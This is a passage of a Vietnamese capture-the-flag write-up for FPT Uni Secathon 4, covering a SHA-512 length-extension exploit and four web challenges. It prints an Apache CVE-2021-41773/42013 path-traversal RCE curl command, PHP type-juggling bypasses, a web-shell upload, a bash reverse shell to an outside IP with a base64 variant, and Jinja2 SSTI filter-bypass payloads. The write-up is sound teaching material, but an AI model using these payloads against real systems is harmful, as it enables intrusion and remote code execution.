  2. Padding cho payment để payment có dạng k1024k*∗1024, và lấy block cuối cùng, thu được product=FLAG&price=99999&time=1633849486.36\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02P. Vốn chuỗi ban đầu không dài hơn 1024 bits nên cũng chỉ có block duy nhất. Trong phần ví dụ này, mình giả sử độ dài của signkey bằng 31. Cơ chế padding mình đính kèm nguồn ở trên.
  3. Append chuỗi &price=0 vào chuỗi đã được padding ở trên. Lại tạo 1 khối 1024 bits có chứa &price=0 bằng cách padding, thu được &price=0\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x018
  4. Extract state từ giá trị sign, sau đó đưa state cùng khối 1024 bits có chứa &price=0 ở trên vào hàm compress của sha512, thu được giá trị sign mới bằng ad38b9ceecbdf41de6bb33970a473ecc1c500935e2cfd90007be639fa6754b6272c45340fca0f173090748722cc1e25e3440cc9975c3b712a8cabe7809cf6d7f
  5. Nối chuỗi payment mới và sign mới vào với nhau, chuyển lên server và lấy flag. order mới sẽ là product=FLAG&price=99999&time=1633849486.36\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02P&price=0

Vậy là xong!

c. Full code exploit

Vì bài không cho giá trị cụ thể của độ dài signkey, nên mình phải viết 1 đoạn code chạy tự động trong khoảng giá trị [8, 32][8,32]. Full code exploit có thể xem ở đây. Trong code này, mình có sử dụng lại thư viện hlextend của stephenbradshaw trên github, với một chút chỉnh sửa để output ra có dạng byte thay vì string.

def solve():
    [REDACTED]

    #order
    output = recvuntil(clientSock, b'Your choice:')
    clientSock.sendall(b'2\n')
    output = recvuntil(clientSock, b'ID:')
    clientSock.sendall(b'6\n')
    output = recvuntil(clientSock, b'Your choice:')
    order = output.split(b'\n')[0][len('Your order:'):].strip()
    order = b64decode(order).decode('latin-1')

    sp = order.rfind('&sign=')
    sign = order[sp+6:]
    payment = order[:sp]
    append_msg = '&price=0'


    for i in range(8, 33):
        sha = hlextend.new('sha512')
        new_payment = sha.extend(append_msg, payment, i, sign)
        new_sign = sha.hexdigest()
        new_order = new_payment + b'&sign=' + new_sign.encode()
        new_order = b64encode(new_order)

        #confirm order
        clientSock.sendall(b'3\n')
        output = recvuntil(clientSock, b'Your order:')
        clientSock.sendall(new_order + b'\n')
        output = recvuntil(clientSock, b'Your choice:')
        if b'FUSec{' in output:
            flag = output.decode()[output.index(b'FUSec{'):output.index(b'}')+1]
            print(flag)
            break

Flag FUSec{th1s_1s_4n_0ld_vul_bUt...}

3. CRY303 (991 pts)

Một bài siêu khó về Knapsack cipher sử dụng LLL (Lenstra–Lenstra–Lovász), hay còn gọi là Latice Reducation Technique, để giải.

Nói thật thì bài này mình cũng không tự làm được lúc tham gia giải CTF, nhưng search google được 1 bài giống tới 90%, nên chỉ đọc hiểu code rồi giải lại. Bởi vì bài cũng không có gì khác biệt mấy, nên mình để nguồn bài gốc ở đây để các bạn đọc vậy.

Đề bài này và code giải (đã sửa theo bài) mình để ở github của mình.

Thế là hết crypto rồi. Nếu mà kịp giải hết thì mình cũng mạnh dạn insert bomman meme gáy... nhưng không được nên gà không gáy nữa...

                written by thangpd3160

spacer

FPT Uni Secathon 4 | Web Writeup | IAW301 - IAW302 - PRP201 - PRP202

 

Written by gnouhnal aka phucdc-noob (PhucBonTu) · GitHub
I. IAW301
  • Bắt đầu với challenge, ta được cung cấp 2 dữ liệu, file httpd.conf, và gợi ý về flag:

hints

  • httpd.conf là file config của Apache Server, truy cập vào file theo đường dẫn, mình nhận thấy có một số thứ hay ho:
    <Directory "/usr/local/apache2/cgi-bin">
        AllowOverride None
        Options None
        Require all granted
    </Directory>
  • Trong thời gian gần đây, có 2 CVE nổi tiếng liên quan đến 2 phiên bản của Apache và cgi-bin của nó, đó là CVE-2021-41773 (Apache 2.4.49) và CVE-2021-42013 (Apache 2.4.50), đặc điểm chung là lỗi trong việc normalize path ở file util.c khiến tin tặc có thể sử dụng path traversal với payload thường thấy là /cgi-bin/../../../etc.passwd, nhưng, vì util.c đã check dấu . khi normalize path, nên chúng ta sẽ cần dùng tới những payload được encode như /.%2e/ thay cho /../.

  • Tất nhiên, giữa 2 CVE kể trên có sự khác nhau trong payload, vì vậy chúng ta cần check xem Apache đó thuộc phiên bản nào (nếu > 2.4.50 thì kiếp này coi như bỏ :'()

  • Mình thử check với câu lệnh nmap đơn giản sau:

    nmap -A -p8889 139.180.208.121 -vvv

    Và có được kết quả:

        PORT     STATE SERVICE REASON  VERSION
        8889/tcp open  http    syn-ack Apache httpd 2.4.50 ((Unix))
        | http-methods: 
        |   Supported Methods: HEAD GET POST OPTIONS TRACE
        |_  Potentially risky methods: TRACE
        |_http-title: Site doesn't have a title (text/html).
        |_http-server-header: Apache/2.4.50 (Unix)
    
  • Như vậy là Apache 2.4.50, ta có thể dùng %%32%65%%32%65/ hoặc .%%32%65/ thay thế cho ../

  • Có một lưu ý là khi đọc httpd.conf, hãy để ý đến dòng ScriptAlias để biết liệu có alias nào thay cho cgi-bin không, ví dụ như trong bài này:

    ScriptAlias /nothingspecial/ "/usr/local/apache2/cgi-bin/"

  • Và để ý DocumentRoot như trong bài:

    DocumentRoot "/usr/local/apache2/htdocs"

  • Như vậy để truy cập được / thì ta cần 4 cặp ../, thay thế alias và 2 cách encode đã kể trên, ta có payload:

    /nothingspecial/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag

  • Nhưng, như vậy liệu có đúng? Thử với curl và đây là kết quả:

    IAW301_2

  • Thực tế có một cách khác, ta sẽ dùng đến /bin/sh và option --data của curl để mở file, đơn giản như sau:

        curl 'http://139.180.208.121:8889/nothingspecial/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo; cat ../flag'
    
  • Và đây là kết quả:

    IAW301_3

  • Flag: FUSEC{970c5c12bc41fd2783748e73fccf99b0}


II. IAW302
  • Truy cập vào bài, ta có login form:

    login

  • Thử xem source code của bài xem sao? (Source code khá dài, nên mình sẽ cắt từ đoạn form đến hết hint)

        <form action="verify.php" method="post">
            User Name:<br>
            <input type="text" name="username"><br><br>
            Password:<br>
            <input type="password" name="password"><br><br>
            <input type="submit" name="submit" value="Login">
        </form>
        <!--
        if(isset($_POST['submit'])){
                if ((int) $_POST['password'] === (int) "8xdeadbeef"){
                    $usr = $_POST['username'];
                    $pas = hash('sha256', htmlentities($_POST['password']));
                    if($pas == "0" && strcmp("ahihi", $usr) == 0 && $usr != "ahihi"){
                        session_start();
                        $_SESSION['logged'] = TRUE;
                        header("Location: chall.php");
                        exit;
                        }
                }else{
    
                    header("Location: index.php");
                    exit;
                }
        }else{
                header("Location: index.php");
                exit;
        }
        ?>
    
  • Vậy là chúng ta có gợi ý về code PHP của back-end, hãy thử phân tích nó một chút, để dễ dàng theo dõi, mình sẽ gán đoạn PHP vào Vim để nhìn theo line-number:

    PHP

  • Tại dòng thứ 3, ta có thể thấy toán tử so sánh === (cùng loại, cùng giá trị), (int) "8xdeadbeef" có giá trị là 8, như vậy password cần mang giá trị 8 khi ép về int

  • Nói qua một chút về việc ép String về Integer trong PHP, hãy để ý chuỗi 8xdeafbeef, chuỗi này bắt đầu bằng số 8, nên khi ép về int thì sẽ mang luôn giá trị là 8, để dễ hình dung thì chúng ta thử trên PHP luôn:

    php -a

  • Như vậy ta biết password sẽ bắt đầu bằng 8 và kế tiếp là các kí tự không phải kí tự số như 8anhtunglua chẳng hạn :>

  • Ta biết password sẽ được hash SHA256, và không có salt (Dòng 5)

  • Tại dòng 6 ta có 3 điều kiện với 3 phép so sánh: == và != (so sánh giá trị, không so sánh kiểu) và strcmp() (so sánh 2 string, trả về 0 nếu giống nhau):

  • Hãy để ý đến phép so sánh $pas == "0", đây là một huyền thoại của PHP :> Ta biết rằng $pas được hash SHA256 rồi mới đem vào so sánh, phép so sánh == giữa một chuỗi hash và "0" trong PHP sẽ gây ra lỗi liên quan đến Magic Hash, cụ thể thì những chuỗi hash bắt đầu bằng "0e", khi so sánh == với "0" sẽ luôn trả về giá trị đúng xD, bạn có thể tìm hiểu về magic hash, không chỉ SHA256 mà còn nhiều dạng khác tại đây

  • Như vậy, password phải bắt đầu bằng 8 và có mã hash SHA256 bắt đầu bằng "0e", theo link ở trên, mình tìm được mã này:

        8W-vW:5ghashcat:0e99625202804787226908207582077273485674961623832383874594371630 (note: the plaintext has a colon in the middle)
    
  • Như vậy password sẽ là 8W-vW:5ghashcat

  • Tiếp đến 2 điều kiện còn lại của dòng 6: strcmp("ahihi", $usr) == 0 && $usr != "ahihi" :D ???

  • Mới đầu đọc mình cũng hơi bị lú tí, làm thế nào mà strcmp thì trả về 0 (giống nhau) mà đằng sau lại khác nhau cho được :D ???, nhưng, có một điều về strcmp trong PHP, hay nói đúng hơn là cái == chết tiệt của PHP:

    • Trong PHP, khi so sánh NULL == 0 thì sẽ trả về true :D ??? Không đùa đâu, nó trả về true thật :> Đọc thêm tại đây
    • Có một cách để khiến strcmp trả về NULL, đó là so sánh Array và String :> Hãy đọc thêm tại đây
  • Như vậy điều ta cần là nhập username dưới dạng Array, but how to do that?

  • Để ý đến source code form của username: <input type="text" name="username">, ta thấy khi submit, query string sẽ có dạng ?username=anything&password=anything đúng không? Vậy muốn đổi từ ?username= sang ?username[]= thì đơn giản ta chỉ cần sửa lại code HTML của username form thành <input type="text" name="username[]">

  • Bây giờ tiến hành nhập username (mình để ahihi cho theo ý thích của người ra đề :>) và password 8W-vW:5ghashcat và đây là kết quả:

    login

    success

  • Ta đã vào được trang chall.php đúng như điều kiện của back-end PHP ở trên, Ctrl U để xem source code nào:

    if(isset($_FILES['file'])){
      if($_FILES['file']['size'] > 1048576){
         $errors='File size must be excately 1 MB';
      }

      if(empty($errors)==true){
        $up = "uploads/".rand().".".explode(".",$_FILES['file']['name'])[1];
        move_uploaded_file($_FILES['file']['tmp_name'],$up);
        echo "File uploaded successfully\n";
        echo '<p><a href='. $up .' target="_blank">File</a></p>';
      }else{
         echo $errors;
      }
   }
  • Đây là source code PHP cho phần upload file, có thể thấy ta có thể upload bất cứ file gì, miễn là đừng vượt quá 1048576 bytes là được

  • Mình sử dụng một file có tên là c99shell.php để upload, truy cập vào file và ta có toàn bộ file được upload lên :v

    c99shell

  • Lul, có vẻ flag không có ở đây, và nếu để ý thì tất cả file đều chỉ có quyền read mà thôi :v như vậy mình không thể dùng command rồi :v mình thử truy cập vào thư mục cha của thư mục hiện tại, và mình thấy file này:

    c99shell_2

  • Thử dùng path traversal để mở file fl@@@g_1337_ahiahi.txt xem sao :v

    flag

  • Vậy là đã có flag: FUSec{Muốn giết một con rồng, máu phải chảy thành sông_Tai nạn quá, không sao, winable, winable guys}


  • Có một cách đơn giản, mà hay ho hơn để làm bài này

  • Đầu tiên, chuẩn bị 1 file PHP như sau:

        <?php
            phpinfo();
        ?>
    
  • Tìm disable_functions, thu được danh sách các funcion bị chặn:

    phpinfo

  • Như vậy, rất nhiều function liên quan đến command và file handling bị chặn, nhưng có 2 hàm không bị chặn: dir và include

  • Đầu tiên cần list file:

        <?php
            $cur = dir(".");
            $par = dir("..");
    
            echo "Current:<br>";
            while (($file = $cur->read()) !== false){
            echo "filename: " . $file . "<br>";
            } 
    
            echo "Parent:<br>";
            while (($file = $par->read()) !== false){
            echo "filename: " . $file . "<br>";
            } 
            $cur->close();
            $par->close();
        ?>
    
  • Upload lên và mở file, thu được danh sách file trong thư mục hiện tại và thư mục cha, để ý thấy trong thư mục cha có file fl@@@g_1337_ahiahi.txt, đến đây thì path traversal cũng được, tạo file PHP cũng được:

        <?php
            echo "<p>";
            include '../fl@@@g_1337_ahiahi.txt';
            echo "</p>";
        ?>
    
  • Dù là cách nào thì cuối cùng cũng thu được flag:

 

        III. PRP201

  • Truy cập vào bài thì thấy có 5 đường dẫn đến 5 file txt

  • Thử truy cập vào một trong số đó sẽ thấy URL có dạng: http://139.180.208.121:8001/getData?f=/fus/data/1.txt, liệu đây có phải path traversal? có vẻ như các anh ra đề năm nay khá thích path traversal

  • Mò mẫm một lúc thì mình tìm được file flag.txt cũng trong /fus/data :D với nội dung như sau:

    flag.txt

  • Vậy là cần phải làm cách nào đó để xem được cái secret_service đó

  • Đến đây thì mình bắt đầu bí rồi, path traversal thì cũng cần phải biết có những gì trong đó chứ (hoặc ít nhất là mình nghĩ vậy), cho tới khi ban ra đề cho hint đầu tiên: ?f=/fus/data/../app.py, vậy hãy xem source code này có vấn đề gì?

  • Vì source khá dài nên mình sẽ phân tích từng hàm một, bỏ qua hàm index, vì nó in ra trang mà chúng ta truy cập vào đầu tiên

        @app.route('/getData', methods=['GET'])
        def getLog():
            log_file = flask.request.args.get('f')
            if (log_file.startswith('/fus/data')):
                return flask.send_file(log_file, mimetype='text/plain', as_attachment=False)
            else:
                return ({'status': 'invalid path'},200)
    
  • Ok, đây chính là hàm mà chúng ta dùng để đọc file và thực hiện path traversal, không có nhiều điều để nói về nó.

        # run script to crawl data
        @app.route('/runScript')
        def runScript():
            json = flask.request.json
            msg = start(json)
            return ({'status': msg},200)
    
        def check_script_dup(scripts, command_log, json):
            try:
                script_parent_dir = scripts + '/' + json['dir']
                script_path = script_parent_dir + '/' + json['name']
            except:
                return "missing dir and name"
            if os.path.exists(script_path):
                return "duplicate script"
            else:
                if not os.path.exists(script_parent_dir):
                    os.makedirs(script_parent_dir)
                return download_script(script_path, command_log, json)
    
        def download_script(script_path, command_log, json):
            try:
                script_link = json['url']
            except:
                return "missing url"
            # don't trust anyone
            if (urllib.parse.urlparse(script_link).netloc == "localhost:8888"):
                result = requests.get(script_link)
                with open(script_path, 'wb') as f:
                    f.write(result.content)
                    run_script(script_path, command_log)
            else:
                return "invalid script link"
    
        def run_script(script_path, command_log):
            lf = open(command_log, 'wb+')
            command = subprocess.Popen(['bash', script_path], stderr=lf, stdout=lf, universal_newlines=True)
            return "Run successfully"
    
        def start(json):
            scripts = home + '/scripts'
            log = home + '/logs'
            if not os.path.exists(scripts):
                os.makedirs(scripts)
            if not os.path.exists(log):
                os.makedirs(log)
            try:
                command_log = log + '/' + json['command_log'] + '.txt'
            except:
                return "missing command_log"
            msg = check_script_dup(scripts, command_log, json)
            return msg
    
  • Mình sẽ để cả 5 hàm này chung với nhau, vì chúng liên quan mật thiết với nhau, và cũng là tiền đề cho mọi thứ

  • Ta có thứ tự như sau:

    • runScript() nhận json từ request và truyền cho hàm start()
      • start() xử lý việc tạo ra đường dẫn thư mục cho logsscripts và tạo file command_log và đưa vào hàm check_script_dup()
      • check_script_dup() nôm na thì kiểm tra xem file script đã tồn tại hay không, nếu tồn tại thì tất nhiên là không cần mất công đến hàm tiếp theo, hàm download_script()
      • download_script() là phần sẽ "tạo ra nội dung file", bằng cách nhập file từ url trong JSON vào file script, ở đây ta biết được rằng, url đó sẽ có dạng http://localhost:8888/anything_else vì đoạn #dont trust anyone, hãy nhớ điều này
      • Sau khi download_script() hoàn tất, hàm run_script() được khởi động, hàm này sẽ chạy một câu lệnh bash <script_bash>, và từ đây ta hiểu được 2 điều:
        • script_bash là tên file được thực thi bới lệnh bash, có nội dung được nhập từ nôi dung file trên url của JSON truyền vào
        • command_log chính là file log của stdout và stderr, như vậy khi thực thi, output và thông báo lỗi của bash đều sẽ đẩy vào file log đó, và tất nhiên, ta có thể xem file log đó qua path traversal
  • Đến đây thì mình (và tin chắc ai đó khi xem WU này), chắc hẳn đều đã nghĩ ra rồi, tác giả cũng đã ra hint suprocess.Popen(), stderr, stdout là gì? rồi :v

  • Mình thử luôn nhé :v Như ở trên ta đã có JSON bao gồm dirnamecommand_logurl

  • URL để nhận file JSON là http://139.180.208.121:8001/runScript, để gửi JSON lên thì mình sử dụng curl như sau:

        curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{json}'
    
  • Mình sẽ thử tạo một JSON như sau:

        {
            "dir" : "test",
            "name" : "ls",
            "command_log" : "log",
            "url" : "http://localhost:8888/"
        }
    
  • Ghép lại với curl:

        curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "test", "name" : "ls", "command_log" : "log", "url" : "http://localhost:8888/"}'
    
  • Và sau khi gửi, truy cập vào http://139.180.208.121:8001/getData?f=/fus/data/../logs/log.txt để xem kết quả của câu lệnh là gì (ta biết logs cùng chung thư mục cha với data khi xem code):

    curl

    log.txt

  • Có thể thấy rằng, nội dung file chínhlog.txt chính là biến script_path được ra thêm cả response của index(), chúng trên một dòng nên sẽ bị lỗi, thử đổi ls thành \nls\n ở JSON và gửi lên, sẽ thấy sự khác biệt:

    curl_1

    log.txt_1

  • Thấy rõ là ls đã thụt xuống, vậy điều này có ý nghĩa gì? bash <filename> khi chạy sẽ chạy từ trên xuống như các ngôn ngữ lập trình, nhưng có một điều đặc biệt là, hàng nào lỗi, nó sẽ in ra lỗi và chạy hàng tiếp theo, chứ không dừng lại khi gặp lỗi syntax bên trong

  • Đến đây thì mình đã nhận ra, hàm download_script(), vậy sẽ ra sao nếu mình truyền vào url trong JSON là http://localhost:8888/getData?f=/fus/data/../logs/log.txt (nên lưu ý localhost ở đây là local của server :> ), thì có phải download_script() sẽ lấy nội dung của log.txt để đưa vào script_path?

  • Như vậy mình tạo JSON mới và lệnh curl mới như sau:

        {
            "dir" : "test",
            "name" : "ls.sh",
            "command_log" : "lssh",
            "url" : "http://localhost:8888/getData?f=/fus/data/../logs/log.txt"
        }
    
        curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "test", "name" : "ls.sh", "command_log" : "lssh", "url" : "http://localhost:8888/getData?f=/fus/data/../logs/log.txt"}'
    
  • Và gửi đi, giờ chỉ cần mở file lssh.txt bằng path traversal và thu được kết quả:

    curl_2

    lssh.txt

  • Vậy là chính xác rồi, nhưng có một vấn đề là ta cần tìm đến /root để mở file secret_service, và tất nhiên là phải root thì mới có thể làm được điều đó (mình đã thử rồi)

  • Mụ mẫm cả đầu thì anh T giấu tên và anh Khoa (tác giả) đã gợi ý về reverse shell

  • Vậy bây giờ chỉ cần dùng cách trên, tạo một file chạy một đoạn reverse shell và chúng ta sẽ chiếm quyền thông qua SUID (hint từ tác giả) là xong

  • Nhưng, mình đã thử và nhận ra, tất cả những command mà chứa dấu '/' thì lỗi 500 là rõ, như ở dưới mình để name trong JSON là \nls ../root\n:

    500

  • Vậy là mình cần cách khác, nhưng trước tiên, phải chuẩn bị cái reverse shell đã :D

        sh -i >& /dev/tcp/34.92.153.161/8899 0>&1
    
  • Có cả revshell của bashnc, ..., tìm hiểu tại đây

  • Vẫn là tác giả đã gợi ý cho mình một cách để đẩy được revshell kia lên, sử dụng base64, chuyển đoạn shell ở trên thành base64 encode, và đưa về dạng sau:

        echo "c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjEK" | base64 -d | bash
    
  • Vậy là xong, giờ cần chuẩn bị request đầu tiên (hãy nhớ escape string :v):

        {
            "dir" : "rev",
            "name" : "\necho \"c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjE=\" | base64 -d | bash\n",
            "command_log" : "rev",
            "url" : "http://localhost:8888/"
        }
    
        curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "rev","name" : "\necho \"c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjE=\" | base64 -d | bash\n","command_log" : "rev","url" : "http://localhost:8888/"}'
    
  • Gửi đi, và trước khi đến với lần request thứ 2, mình phải tạo một listener trên máy của mình đã (thực ra là VPS mình mượn của một người bạn xứ cảng):

        nc -lvnp 8899
    

    listener

  • Giờ để listener ở đó, ta quay lại với request thứ 2, request để chạy revshell:

        json
        {
            "dir" : "rev_tcp",
            "name" : "rev_tcp.sh",
            "command_log" : "rev",
            "url" : "http://localhost:8888/getData?f=/fus/data/../logs/rev.txt"
        }
    
        curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "rev_tcp","name" : "rev_tcp.sh","command_log" : "rev","url" : "http://localhost:8888/getData?f=/fus/data/../logs/rev.txt"}'
    
  • Và gửi đi, rồi quay lại listener:

    revshell

  • Vậy là ta đã mở được reverse shell trên server

  • Bây giờ chỉ cần tiến hành leo thang đặc quyền thôi:

    done

  • Ta có flag: "FUSec{a9595511e650bb0ff367d8144818802b}"


IV. PRP202


  • Bắt đầu vào bài, tại trang index, Ctrl U lên thấy source code Flask của web

    ```

    app = Flask(__name__, template_folder="template")
    SESSION_TYPE = "filesystem"
    app.config.from_object(__name__)
    Session(app)
    authCode = "C4n 1 Trust Y0u? Player "
    
  # Our bot detected that some users had gained access to the system by malicious function, so we decided to ban it.
  blacklist = ["'", '"', "request", "readlines", "+", "%2b", "%22", "%27", "linecache"]


  def authCheck(input):
      if session.get(input) == None:
          return ""
      return session.get(input)


  @app.route("/", methods=["GET", "POST"])
  def index():
      try:
          session.pop("userCode")
          session.pop("winner")
      except:
          pass
      if request.method == "POST":
          ok = request.form["ok"]
          for ban in blacklist:
              if ban in request.form["name"]:
                  return render_template_string("Hacker Alert!!!")
          session["userCode"] = request.form["name"]
          if ok == "Let's play!":
              session["check"] = "access"
              # bypass this? No way haha :D
              winner = "cocailonditconbamay"
              session["winner"] = winner
              return render_template_string(
                  "Generating winner hash...<script>setInterval(function(){ window.location='/doanxem'; }, 500);</script>"
              )
      return render_template("index.html")


  @app.route("/doanxem", methods=["GET", "POST"])
  def doanxem():
      try:
          if authCheck("check") == "":
              return render_template_string(authCode + authCheck("userCode"))
          else:
              if request.method == "POST":
                  winner_input = request.form["winner"]
                  if winner_input == authCheck("winner"):
                      mess = (
                          "You are the real winner!!!!!!!!!! "
                          + authCheck("userCode")
                          + ", here your flag: https://youtu.be/dQw4w9WgXcQ"
                      )
                  elif winner_input != authCheck("winner"):
                      mess = "Wrong! You die!<script>setInterval(function(){ window.location='/choilai'; }, 1200);</script>"
                  return render_template_string(mess)
              return render_template("doanxem.html")
      except:
          pass
      return render_template_string(authCode + authCheck("userCode"))


  @app.route("/choilai")
  def reset_access():
      try:
          session.pop("check")
          return render_template_string(
              "You got an Extra Change. Gud luck :D!!!!!!<script>setInterval(function(){ window.location='/'; }, 500);</script>"
          )
      except:
          pass
      return render_template_string(authCode + authCheck("userCode"))


  if __name__ == "__main__":
      app.secret_key = "###########"
      serve(app, host="0.0.0.0", port=8900)

- `render_template_string()` nên rất dễ đoán đây là [SSTI](https://portswigger.net/research/server-side-template-injection)

- Nhưng vì đã bị chặn `request.args` nên chắc phải inject từ một input nào đó :v

- Review lại source code thì ta thấy có 2 chỗ `render_template_string()` cần sử dụng `authCheck("userCode")`, chính là cái tên ta nhập ở index

- `doanxem()` ta thấy `mess` là một đoạn code chuyển hướng sang `/choilai`

- Sang đến `choilai()` thì ta thấy rằng nó sẽ `pop` cái mục `check` của session data, vậy câu hỏi ở đây là, nếu như ta để cho `doanxem` gửi một request sang `/choilai`, nhưng trước khi `/choilai` kịp render, ta drop cái request đó? Tất nhiên cái `session.pop("check")` vẫn được thực thi, nhưng không render. Và nếu ta gửi tiếp một request của `doanxem` vào `/choilai`, điều gì sẽ xảy ra? `session.pop()` sẽ lỗi vì đã pop trước đó, nên giờ không còn gì mà pop, và thay vì render ra chuyển hướng về index, thì đoạn render cuối sẽ được thực thi.

- Đã rõ cách để trigger template, thử nhập `{{7*7}}` ở index và làm các bước như trên:

  [![7*7](https://github.com/phucdc-noob/FUSec-Write-Ups/raw/main/img/PRP202_1.png)](https://github.com/phucdc-noob/FUSec-Write-Ups/blob/main/img/PRP202_1.png)

- Vậy là đã rõ, bây giờ việc cần làm là tạo ra payload, trước tiên, hãy review cái black list của source code đã:
   blacklist = ["'", '"', "request", "readlines", "+", "%2b", "%22", "%27", "linecache"]

- Đoạn này khá là khó, vì black list chứa những kí tự và từ khóa phổ biến để tạo payload SSTI

- Suy nghĩ mãi làm thế nào để tạo payload thì người anh TungDLM bảo `chr`, sáng dạ thêm một tí

- Cụ thể thì ta sẽ dùng `chr()` để tạo các kí tự trong string và ghép chúng lại, nhưng trước tiên, phải define nó

- Thử nhập `().__class__.__base__.__subclasses__()` để list các subclass và mình thấy, tại vị trí 80 có `<class '_frozen_importlib._ModuleLock'>`, có thể sử dụng nó để define `chr`:
  {% set ().__class.__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}

- Đoạn này phải cảm ơn 3 chữ `s e t` của anh TaiDH, một pro đã giảii này trong 15 phút, trước cả mình

- Ok, để đoạn define ở đó, bây giờ đến đoạn payload chính, có rất nhiều hướng làm:

  - Cách của anh TungDLM gợi ý:
    {{cycler.__init__.__globals__.os.popen(().__doc__[36:41].replace(chr(97),chr(99)).replace(chr(114),chr(97)).replace(chr(103),chr(116)).replace(chr(117),chr(32)).replace(chr(109),chr(42))).read()}}
```

Dễ hiểu là, chúng ta sẽ lợi dụng đoạn `__doc__` của `Tuple`, ví `__doc__` là một String nên ta chỉ việc cắt một đoạn của nó ra, `replace()` để thay thế các kí tự, sử dụng `chr()` để thay cho việc dùng `''/""`. Nhờ đó tạo được câu lệnh để `os.open()` thực thi (`cat *`) và in ra tại `read()`
  • Cách của mình (dài và mất não @@):

        {{().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.open(chr(97).__add__(chr(112).__add__(chr(112).__add__(chr(46).__add__(chr(112).__add__(chr(121)))))))}}
    

    Tại đây mình sử dụng __add__ để nối các kí tự thành chuỗi và open() để mở file, không khuyến khích làm theo, khổ dâm lắm :'(

  • Ok, giờ tạo payload hoàn chỉnh thôi:

    • Payload TungDLM:

          {% set chr = ().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}{{cycler.__init__.__globals__.os.popen(().__doc__[36:41].replace(chr(97),chr(99)).replace(chr(114),chr(97)).replace(chr(103),chr(116)).replace(chr(117),chr(32)).replace(chr(109),chr(42)))}}
      
    • Payload của mình:

          {% set chr = ().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}{{cycler.__init__.__globals__.os.popen(().__doc__[36:41].replace(chr(97),chr(99)).replace(chr(114),chr(97)).replace(chr(103),chr(116)).replace(chr(117),chr(32)).replace(chr(109),chr(42)))}}
      
  • Và có kết quả:

    flag

  • Flag: FUSEC{@@@@@@Th3_n3Xt_l3v3l_pL4y!!!!!!!!}

  • Rất có thể có nhiều cách khác, vì anh TungDLM đã để nhả

Cảm ơn anh TungDLM và anh TaiDH đã hỗ trợ trong quá trình giải bài này

  • Qua quá trình làm bài mình đã phải research rất nhiều để tạo payload hoàn chỉnh, dưới đây là một số link mà mình đã tham khảo:
  • Bên cạnh đó, vì Server của bài sẽ hết hạn vào 7 phút nữa (12h :v) nên mình đã crawl app.py về, hãy deploy local và theo dõi log, trải nghiệm thú vị đó:
    from flask import Flask, session, request, render_template, render_template_string
    from flask_session import Session
    from random import randint as hack
    from waitress import serve
    import builtins

    app = Flask(__name__, template_folder="template")
    SESSION_TYPE = "filesystem"
    app.config.from_object(__name__)
    Session(app)
    authCode = "C4n 1 Trust Y0u? Player "


    # Our bot detected that some users had gained access to the system by malicious function, so we decided to ban it.
    blacklist = ["'", '"', "request", "readlines", "+", "%2b", "%22", "%27", "linecache"]


    def authCheck(input):
        if session.get(input) == None:
            return ""
        return session.get(input)


    @app.route("/", methods=["GET", "POST"])
    def index():
        try:
            session.pop("userCode")
            session.pop("winner")
        except:
            pass
        if request.method == "POST":
            ok = request.form["ok"]
            for ban in blacklist:
                if ban in request.form["name"]:
                    return render_template_string("Hacker Alert!!!")
            session["userCode"] = request.form["name"]
            if ok == "Let's play!":
                session["check"] = "access"
                # bypass this? No way haha :D
                winner = "cocailonditconbamay"
                session["winner"] = winner
                return render_template_string(
                    "Generating winner hash...<script>setInterval(function(){ window.location='/doanxem'; }, 500);</script>"
                )
        return render_template("index.html")


    @app.route("/doanxem", methods=["GET", "POST"])
    def doanxem():
        try:
            if authCheck("check") == "":
                return render_template_string(authCode + authCheck("userCode"))
            else:
                if request.method == "POST":
                    winner_input = request.form["winner"]
                    if winner_input == authCheck("winner"):
                        mess = (
                            "You are the real winner!!!!!!!!!! "
                            + authCheck("userCode")
                            + ", here your flag: https://youtu.be/dQw4w9WgXcQ"
                        )
                    elif winner_input != authCheck("winner"):
                        mess = "Wrong! You die!<script>setInterval(function(){ window.location='/choilai'; }, 1200);</script>"
                    return render_template_string(mess)
                return render_template("doanxem.html")
        except:
            pass
        return render_template_string(authCode + authCheck("userCode"))


    @app.route("/choilai")
    def reset_access():
        try:
            session.pop("check")
            return render_template_string(
                "You got an Extra Change. Gud luck :D!!!!!!<script>setInterval(function(){ window.location='/'; }, 500);</script>"
            )
        except:
            pass
        print(authCheck("userCode"))
